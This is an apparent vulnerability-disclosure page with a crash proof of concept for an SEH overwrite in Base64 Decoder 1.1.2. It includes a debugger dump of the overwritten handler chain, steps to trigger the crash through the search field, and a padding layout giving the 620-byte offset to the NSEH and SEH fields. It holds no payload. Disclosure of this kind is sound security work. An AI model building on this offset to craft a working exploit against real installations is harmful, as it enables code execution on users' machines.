

Base64 Decoder 1.1.2 - SEH OverWrite PoC

Published

2015.12.22

CWE

N/A

Credit

Un_N0n (https://cxsecurity.com/search/author/DESC/AND/FIND/Un_N0n)

CVE

N/A

ServerBank

www.serverbank.com.tw

資訊設備升級必買，企業所需一次購足



```
*****
# Exploit: b64dec SEH OverWrite.
# Date: 12/18/2015
# Exploit Author: Un_N0n
# Vendor: Tim Rohlfs
# Software Link: http://4mhz.de/b64dec.html
# Version: 1.1.2
# Tested on: Windows 7 x64(64bit)
*****
```

[Dump]

SEH chain of thread 00000EC0

Address SE handler

024CFC50 b64dec.00458140

024CFC5C b64dec.004581B3

024CFF28 b64dec.0045847C

024CFF00 41414141 <-----

41414141 *** CORRUPT ENTRY *** <-----

```
-----
024CFEE4 41414141 AAAA
024CFEE8 41414141 AAAA
024CFEEC 41414141 AAAA
024CFEF0 41414141 AAAA
024CFEF4 41414141 AAAA
024CFEF8 41414141 AAAA
024CFEFC 41414141 AAAA
024CFF00 41414141 AAAA Pointer to next SEH record <-----
024CFF04 41414141 AAAA SE handler <-----
024CFF08 41414141 AAAA
024CFF0C 41414141 AAAA
024CFF10 41414141 AAAA
024CFF14 41414141 AAAA
024CFF18 41414141 AAAA
```

[How to?]

- 1 - Open up b64dec.exe
- 2 - In Search field, paste in the contents of Crash.txt
- 3 - Hit 'Decode'

~ Software Crashes due to SEH Over-Write.

[Crash.txt?]

AAAAAAAAAAAAAAAAAAAAAAAA.....620 BBBB CCCC DDDDDDDDDDDDDDDDDDD

-----|-----|

NSEH SEH

[Extra Info]

Offset = 620

See this note in RAW Version (<https://cxsecurity.com/issue/WLB-2015120244>)

Tweet

Lubię to!



Bugtraq

(<https://cxsecurity.com/wlb/rss/all/>) (<https://cxsecurity.com/cverss/fullmap/>)

CVEMAP



REDDIT (<http://www.reddit.com/submit?url=http%3A%2F%2Fcxsecurity.com%2Fissue%2FWLB-2015120244&title=Base64+Decoder+1.1.2+-+SEH+OverWrite+PoC>)

DIGG (<http://www.digg.com/submit?url=http%3A%2F%2Fcxsecurity.com%2Fissue%2FWLB-2015120244&title=Base64+Decoder+1.1.2+-+SEH+OverWrite+PoC>)

phase=2&url=http%3A%2F%2Fcxsecurity.com%2Fissue%2FWLB-2015120244&title=Base64+Decoder+1.1.2+-+SEH+OverWrite+PoC

